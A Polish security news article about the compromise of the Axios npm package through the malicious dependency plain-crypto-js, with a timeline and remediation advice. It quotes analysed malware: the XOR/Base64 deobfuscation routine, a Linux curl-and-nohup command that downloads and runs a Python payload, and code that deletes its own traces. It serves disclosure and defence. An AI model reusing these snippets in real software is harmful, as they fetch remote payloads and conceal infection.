Axios padł ofiarą ataku na łańcuch dostaw
Niedawno branża mierzyła się z incydentem dotyczącym pakietu Litellm w PyPI, a w nocy z 30 na 31 marca hakerzy skompromitowali Axios — jeden z najczęściej używanych klientów HTTP w ekosystemie JavaScript, pobierany ponad 100 milionów razy tygodniowo i wykorzystywany w wielu projektach.
Badacze ustalili, że napastnicy opublikowali zainfekowane wersje Axios bezpośrednio w npm, omijając oficjalne repozytorium projektu na GitHubie.
Jak przebiegał atak
Atak odbył się poza standardowym procesem publikacji. Zazwyczaj Axios publikuje tagi wydań na GitHubie równolegle z publikacją w npm. W tym przypadku zainfekowane wersje [email protected] oraz [email protected] nie pojawiły się w oficjalnych tagach projektu (ostatnim oznaczonym wydaniem było v1.14.0).
Zespół Axios początkowo nie był w stanie odzyskać kontroli nad projektem, ponieważ napastnik posiadał wyższe uprawnienia dostępu. Przyczyną był wyciek długoterminowego tokena npm, używanego równolegle z zaufanymi metodami publikacji.
Chronologia zdarzeń:
- 18 godzin przed atakiem ktoś, używając adresu [email protected], publikuje pakiet
[email protected]— kopię legalnej bibliotekicrypto-js - 30 marca 2026 o 23:59 UTC pojawia się złośliwa wersja
[email protected], podpisana jako jasonsaayman - w ciągu kolejnych 39 minut opublikowano
[email protected]oraz[email protected], do których dodano tę złośliwą zależność
Każdy projekt korzystający z nielockowanych wersji (np. ^1.14.0 lub ^0.30.0) automatycznie pobierał zainfekowany pakiet przy kolejnym npm install.
Oto schemat ogólnego działania ataku:
Co zawierał plain-crypto-js?
Zgodnie z analizą badaczy, złośliwy kod wykorzystywał hook postinstall — oznacza to, że podczas instalacji pakietu npm automatycznie i bez widocznych oznak uruchamiał plik setup.js.
Aby utrudnić wykrycie, zastosowano dwupoziomowy mechanizm ukrywania danych: najpierw odwracano ciąg znaków, zamieniano znaki _ na =, następnie dekodowano Base64, a na końcu wykonywano operację XOR z użyciem klucza OrDeR_7077 oraz stałej 333.
const _trans_1 = function(x, r) {
const E = r.split("").map(Number);
return x.split("").map((x, r) => {
const S = x.charCodeAt(0), a = E[7 * r * r % 10];
return String.fromCharCode(S ^ a ^ 333);
}).join("");
};
const _trans_2 = function(x, r) {
let E = x.split("").reverse().join("").replaceAll("_", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return _trans_1(S, r);
};
const ord = "OrDeR_7077";Skrypt sprawdzał system operacyjny (os.platform()) i pobierał odpowiedni payload z serwera kontrolowanego przez napastników: http://sfrclak[.]com:8000/. Ruch sieciowy był maskowany jako zapytania do packages[.]npm[.]org, aby ominąć systemy monitoringu.
Na macOS skrypt AppleScript pobierał plik binarny do katalogu /Library/Caches/com.apple.act.mond, a następnie uruchamiał go w tle. Trojan zbierał informacje o systemie, procesach i katalogach, wysyłając je co 60 sekund.
W systemie Windows malware wyszukiwał powershell, kopiował go i zapisywał jako %PROGRAMDATA%\wt.exe. Następnie przy użyciu VBScript pobierany był skrypt .ps1 do katalogu %TEMP%, który był uruchamiany z parametrem -ep bypass.
W systemach Linux pobierany był skrypt Python uruchamiany w tle:
curl -o /tmp/ld.py -d packages[.]npm[.]org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &Po instalacji malware usuwało ślady swojej obecności, aby katalog node_modules wyglądał na nienaruszony:
fs.unlink(__filename, (x => {}));
fs.unlink("package.json", (x => {}));
fs.rename("package.md", "package.json", (x => {}));W efekcie pakiet wyglądał jak standardowy, bezpieczny crypto-js, co utrudniało wykrycie zagrożenia.
Co należy zrobić?
Jeśli korzystasz z Axios, warto sprawdzić swoje projekty.
Należy zweryfikować zależności i pliki lock pod kątem obecności:
Ponieważ złośliwy kod zbierał dane systemowe, napastnicy mogli uzyskać dostęp do kluczy SSH, plików konfiguracyjnych z zapisanymi hasłami, tokenów chmurowych oraz innych wrażliwych danych.
Samo usunięcie pakietu nie jest wystarczające. Jeśli skrypt został uruchomiony, wszystkie lokalne klucze, certyfikaty i dane dostępowe należy uznać za skompromitowane, a następnie unieważnić i wygenerować ponownie.